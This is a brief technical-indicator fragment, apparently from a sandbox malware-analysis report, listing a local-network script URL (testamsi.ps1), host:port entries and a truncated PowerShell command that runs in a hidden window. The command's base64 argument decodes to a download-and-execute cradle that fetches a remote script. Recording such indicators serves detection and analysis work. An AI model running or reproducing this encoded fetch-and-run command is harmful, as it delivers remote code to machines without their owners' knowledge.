Technical Information
- http://19#.##8.77.1:443/testamsi.ps1
- 'localhost':80
- '<LOCALNET>.77.1':443
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANwA3AC4AMQ...' (with hidden window)